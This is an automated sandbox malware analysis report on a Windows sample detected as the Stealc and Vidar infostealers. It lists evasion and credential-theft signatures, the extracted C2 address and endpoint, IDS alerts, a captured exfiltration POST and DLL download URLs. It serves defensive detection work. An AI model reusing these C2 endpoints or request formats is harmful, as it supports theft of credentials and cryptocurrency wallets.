Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1522599
MD5:	a48636d4112e0e59db4553623d563865
SHA1:	b141241b7908f645f085058ac2d6ec91a0fd4842
SHA256:	d9d0abb631e66eb73f616afa490fa640b982e94f48bd625caa5852b87a309442
Tags:	exeuser-Bitsight
Infos:

Detection

Stealc, Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Powershell download and execute

Yara detected Stealc

Yara detected Vidar stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Found evasive API chain (may stop execution after checking locale)

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

Machine Learning detection for sample

PE file contains section with special chars

Searches for specific processes (likely to inject)

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Tries to steal Mail credentials (via file / registry access)

Checks for debuggers (devices)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality to create guard pages, often used to hinder reverse engineering and debugging

Contains functionality to dynamically determine API calls

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Detected potential crypto function

Downloads executable code via HTTP

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Entry point lies outside standard sections

Extensive use of GetProcAddress (often used to hide API calls)

Found dropped PE file which has not been started or loaded

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries information about the installed CPU (vendor, model number etc)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

file.exe (PID: 7684 cmdline: "C:\Users\user\Desktop\file.exe" MD5: A48636D4112E0E59DB4553623D563865)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Malware Configuration

Threatname: StealC

{"C2 url": "http://185.215.113.37/e2b1563c6670f193.php", "Botnet": "doma"}

Threatname: Vidar

{"C2 url": "http://185.215.113.37/e2b1563c6670f193.php", "Botnet": "doma"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000000.00000002.1673431331.000000000087E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.1673431331.00000000008D9000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.1432733405.0000000004CA0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.1673632781.0000000000F11000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: file.exe PID: 7684	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: file.exe PID: 7684	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: file.exe PID: 7684	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 7684	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 3 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
0.2.file.exe.f10000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security

Suricata Signatures

ET MALWARE Win32/Stealc Active C2 Responding with browsers Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-30T12:33:08.532038+0200	2044245	1	Malware Command and Control Activity Detected	185.215.113.37	80	192.168.2.8	49705	TCP

ET MALWARE Win32/Stealc Requesting browsers Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-30T12:33:08.526054+0200	2044244	1	Malware Command and Control Activity Detected	192.168.2.8	49705	185.215.113.37	80	TCP

ET MALWARE Win32/Stealc Requesting plugins Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-30T12:33:08.746503+0200	2044246	1	Malware Command and Control Activity Detected	192.168.2.8	49705	185.215.113.37	80	TCP

ET MALWARE Win32/Stealc Submitting System Information to C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-30T12:33:09.826968+0200	2044248	1	Malware Command and Control Activity Detected	192.168.2.8	49705	185.215.113.37	80	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-30T12:33:08.753257+0200	2044247	1	Malware Command and Control Activity Detected	185.215.113.37	80	192.168.2.8	49705	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-30T12:33:08.305383+0200	2044243	1	Malware Command and Control Activity Detected	192.168.2.8	49705	185.215.113.37	80	TCP

ETPRO MALWARE Common Downloader Header Pattern HCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-30T12:33:10.691143+0200	2803304	3	Unknown Traffic	192.168.2.8	49705	185.215.113.37	80	TCP
2024-09-30T12:33:15.733640+0200	2803304	3	Unknown Traffic	192.168.2.8	49705	185.215.113.37	80	TCP
2024-09-30T12:33:17.473116+0200	2803304	3	Unknown Traffic	192.168.2.8	49705	185.215.113.37	80	TCP
2024-09-30T12:33:18.728252+0200	2803304	3	Unknown Traffic	192.168.2.8	49705	185.215.113.37	80	TCP
2024-09-30T12:33:19.619715+0200	2803304	3	Unknown Traffic	192.168.2.8	49705	185.215.113.37	80	TCP
2024-09-30T12:33:23.240608+0200	2803304	3	Unknown Traffic	192.168.2.8	49705	185.215.113.37	80	TCP
2024-09-30T12:33:23.881079+0200	2803304	3	Unknown Traffic	192.168.2.8	49705	185.215.113.37	80	TCP

HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BKJKEBGDHDAFHJKEGIIDHost: 185.215.113.37Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 4b 4a 4b 45 42 47 44 48 44 41 46 48 4a 4b 45 47 49 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 44 34 30 32 32 31 41 38 46 43 44 33 39 33 35 34 33 30 31 34 39 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 4a 4b 45 42 47 44 48 44 41 46 48 4a 4b 45 47 49 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 4a 4b 45 42 47 44 48 44 41 46 48 4a 4b 45 47 49 49 44 2d 2d 0d 0a Data Ascii: ------BKJKEBGDHDAFHJKEGIIDContent-Disposition: form-data; name="hwid"ED40221A8FCD3935430149------BKJKEBGDHDAFHJKEGIIDContent-Disposition: form-data; name="build"doma------BKJKEBGDHDAFHJKEGIID--

Source: file.exe, 00000000.00000002.1673431331.000000000087E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1673632781.00000000010DB000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.37
Source: file.exe, 00000000.00000002.1673431331.00000000008D9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/
Source: file.exe, 00000000.00000002.1673431331.00000000008D9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/freebl3.dllQ
Source: file.exe, 00000000.00000002.1673431331.00000000008D9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/freebl3.dllq9
Source: file.exe, 00000000.00000002.1673431331.000000000087E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1673431331.00000000008D9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/mozglue.dll
Source: file.exe, 00000000.00000002.1673431331.000000000087E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/mozglue.dll5
Source: file.exe, 00000000.00000002.1673431331.00000000008D9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/mozglue.dllm9X
Source: file.exe, 00000000.00000002.1673431331.000000000087E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/mozglue.dllo0
Source: file.exe, 00000000.00000002.1673431331.00000000008D9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/msvcp140.dll
Source: file.exe, 00000000.00000002.1673431331.00000000008D9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/msvcp140.dll#
Source: file.exe, 00000000.00000002.1673431331.00000000008D9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/nss3.dll
Source: file.exe, 00000000.00000002.1673431331.00000000008D9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/nss3.dll%
Source: file.exe, 00000000.00000002.1673431331.00000000008D9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/nss3.dllJ
Source: file.exe, 00000000.00000002.1673431331.00000000008D9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/softokn3.dllC9
Source: file.exe, 00000000.00000002.1673431331.00000000008D9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/softokn3.dllM
Source: file.exe, 00000000.00000002.1673431331.00000000008D9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/softokn3.dll_
Source: file.exe, 00000000.00000002.1673431331.00000000008D9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/softokn3.dlli
Source: file.exe, 00000000.00000002.1673431331.00000000008D9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/sqlite3.dll
Source: file.exe, 00000000.00000002.1673431331.00000000008D9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/vcruntime140.dll
Source: file.exe, 00000000.00000002.1673632781.00000000010DB000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.1673431331.00000000008F8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php
Source: file.exe, 00000000.00000002.1673431331.00000000008C2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php$B
Source: file.exe, 00000000.00000002.1673431331.00000000008C2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php(
Source: file.exe, 00000000.00000003.1533599242.000000000095D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php)U
Source: file.exe, 00000000.00000002.1673431331.00000000008F8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php3
Source: file.exe, 00000000.00000002.1673431331.00000000008F8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php3a
Source: file.exe, 00000000.00000002.1673431331.00000000008F8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php7-
Source: file.exe, 00000000.00000002.1673431331.00000000008D9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpDBAEHIJKKFHIEGCBG
Source: file.exe, 00000000.00000002.1673431331.00000000008F8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpJ
Source: file.exe, 00000000.00000002.1673431331.00000000008D9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpJDHCAKKFCBGCBAAEC
Source: file.exe, 00000000.00000002.1673431331.00000000008C2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpPB
Source: file.exe, 00000000.00000002.1673431331.00000000008F8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpinomi
Source: file.exe, 00000000.00000002.1673431331.00000000008F8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpl
Source: file.exe, 00000000.00000002.1673431331.00000000008C2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phptB
Source: file.exe, 00000000.00000002.1673431331.00000000008F8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpwser
Source: file.exe, 00000000.00000002.1673632781.00000000010DB000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.37e2b1563c6670f193.phption:
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDCodeSigningCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0O
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/sha2-assured-cs-g1.crl05
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl07
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0K
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0A
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0N
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0X
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://www.digicert.com/CPS0
Source: file.exe, 00000000.00000002.1697747328.000000006FE3D000.00000002.00000001.01000000.00000008.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr	String found in binary or memory: http://www.mozilla.com/en-US/blocklist/
Source: file.exe, 00000000.00000002.1686511691.000000001D526000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1697376341.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: file.exe, 00000000.00000003.1519187248.0000000000925000.00000004.00000020.00020000.00000000.sdmp, GIDHDGCB.0.dr	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: file.exe, 00000000.00000002.1691818019.00000000295F6000.00000004.00000020.00020000.00000000.sdmp, ECGDBAEHIJKKFHIEGCBG.0.dr	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696491991400800003.2&ci=1696491991993.
Source: file.exe, 00000000.00000002.1691818019.00000000295F6000.00000004.00000020.00020000.00000000.sdmp, ECGDBAEHIJKKFHIEGCBG.0.dr	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696491991400800003.1&ci=1696491991993.12791&cta
Source: file.exe, 00000000.00000003.1519187248.0000000000925000.00000004.00000020.00020000.00000000.sdmp, GIDHDGCB.0.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: file.exe, 00000000.00000003.1519187248.0000000000925000.00000004.00000020.00020000.00000000.sdmp, GIDHDGCB.0.dr	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: file.exe, 00000000.00000003.1519187248.0000000000925000.00000004.00000020.00020000.00000000.sdmp, GIDHDGCB.0.dr	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: file.exe, 00000000.00000002.1691818019.00000000295F6000.00000004.00000020.00020000.00000000.sdmp, ECGDBAEHIJKKFHIEGCBG.0.dr	String found in binary or memory: https://contile-images.services.mozilla.com/CuERQnIs4CzqjKBh9os6_h9d4CUDCHO3oiqmAQO6VLM.25122.jpg
Source: file.exe, 00000000.00000002.1691818019.00000000295F6000.00000004.00000020.00020000.00000000.sdmp, ECGDBAEHIJKKFHIEGCBG.0.dr	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: file.exe, 00000000.00000003.1519187248.0000000000925000.00000004.00000020.00020000.00000000.sdmp, GIDHDGCB.0.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: file.exe, 00000000.00000003.1519187248.0000000000925000.00000004.00000020.00020000.00000000.sdmp, GIDHDGCB.0.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: file.exe, 00000000.00000003.1519187248.0000000000925000.00000004.00000020.00020000.00000000.sdmp, GIDHDGCB.0.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: ECGDBAEHIJKKFHIEGCBG.0.dr	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pqX1CqX4pbW1pbWfpbZ7ReNxR3UIG8zInwYIFIVs9eYi
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: https://mozilla.org0/
Source: AAAAECGHCBGCBFHIIDHIJKFBKF.0.dr	String found in binary or memory: https://support.mozilla.org
Source: AAAAECGHCBGCBFHIIDHIJKFBKF.0.dr	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: AAAAECGHCBGCBFHIIDHIJKFBKF.0.dr	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.elMx_wJzrE6l
Source: file.exe, 00000000.00000002.1691818019.00000000295F6000.00000004.00000020.00020000.00000000.sdmp, ECGDBAEHIJKKFHIEGCBG.0.dr	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_15d7e4b694824b33323940336fbf0bead57d89764383fe44
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: https://www.digicert.com/CPS0
Source: file.exe, 00000000.00000003.1519187248.0000000000925000.00000004.00000020.00020000.00000000.sdmp, GIDHDGCB.0.dr	String found in binary or memory: https://www.ecosia.org/newtab/
Source: file.exe, 00000000.00000003.1519187248.0000000000925000.00000004.00000020.00020000.00000000.sdmp, GIDHDGCB.0.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: file.exe, 00000000.00000002.1691818019.00000000295F6000.00000004.00000020.00020000.00000000.sdmp, ECGDBAEHIJKKFHIEGCBG.0.dr	String found in binary or memory: https://www.invisalign.com/?utm_source=admarketplace&utm_medium=paidsearch&utm_campaign=Invisalign&u
Source: AAAAECGHCBGCBFHIIDHIJKFBKF.0.dr	String found in binary or memory: https://www.mozilla.org
Source: AAAAECGHCBGCBFHIIDHIJKFBKF.0.dr	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.0JoCxlq8ibGr
Source: AAAAECGHCBGCBFHIIDHIJKFBKF.0.dr	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.Tgc_vjLFc3HK
Source: AAAAECGHCBGCBFHIIDHIJKFBKF.0.dr	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: file.exe, 00000000.00000003.1641047999.000000002F7CD000.00000004.00000020.00020000.00000000.sdmp, AAAAECGHCBGCBFHIIDHIJKFBKF.0.dr	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.

System Summary

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_015C31BB	0_2_015C31BB
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_012EE001	0_2_012EE001
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_015C303B	0_2_015C303B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_012E9084	0_2_012E9084
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_012E2894	0_2_012E2894
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_012F9B02	0_2_012F9B02
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01216B57	0_2_01216B57
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_012F4A1E	0_2_012F4A1E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01190A74	0_2_01190A74
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01289AA0	0_2_01289AA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_012F0A85	0_2_012F0A85
